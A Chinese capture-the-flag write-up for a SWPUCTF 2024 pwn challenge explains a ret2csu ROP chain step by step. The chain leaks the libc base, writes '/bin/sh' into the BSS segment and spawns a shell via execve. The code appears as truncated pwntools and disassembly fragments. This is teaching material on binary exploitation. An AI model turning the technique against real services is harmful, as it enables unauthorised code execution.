[SWPUCTF 2024 秋季新生赛]出题人你到底干了什么?
main 函数
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
1 | ROPgadget --binary ./attachment --only "pop rdx; ret" |
没有 pop_rdx; ret 的寄存方式,我们这里需要用到 ret2csu,先寻找 csu 片段:
1 | .text:00000000004011D0 ; =============== S U B R O U T I N E ======================================= |
开始封装 csu 函数:
1 | gadget1_addr = 0x40122A |
- 为什么填 0x38(56字节)的 b’b’? 当 gadget2 中的 call 函数执行完毕返回后,程序会继续往下走,遇到 add rbx, 1; cmp rbx, rbp; jnz …。因为我们让 rbx=0, rbp=1,所以不跳转。 接下来程序会执行 add rsp, 8 以及 6 个 pop 指令(rbx, rbp, r12, r13, r14, r15),总共需要消耗栈上的 7×8=56 字节(即 0x38)。填充这些垃圾数据后,最后的 ret 指令才能正好拿到我们设置的 ret_addr。
第一次 csu 泄露 libc 基址:
1 | sh.recv() |
1 | write_addr=u64(sh.recv(8)) |
第二次 csu 将 execve 地址和 /bin/sh 写入 BSS 段
1 | sh.recv() |
相当于调用了 read(0, bss_base, 16)
第三次 csu 执行 execve(‘/bin/sh’)
1 | csu(0,1,bss_base+8,0,0,bss_base,main_addr) |
相当于调用 execve(“/bin/sh”, 0, 0)。
r12=bss_base+8 -> edi=bss_base+8 (参数 1 变成了指向 "/bin/sh" 字符串的指针。注:虽然 edi 只有 32 位,但只要程序的 bss 段地址小于 0xFFFFFFFF,截断也不会影响地址准确性)
1 | from pwn import * |
更新: 2026-04-05 11:46:59
原文: https://www.yuque.com/idcm/wnemg9/qy093zeo63hc9a2g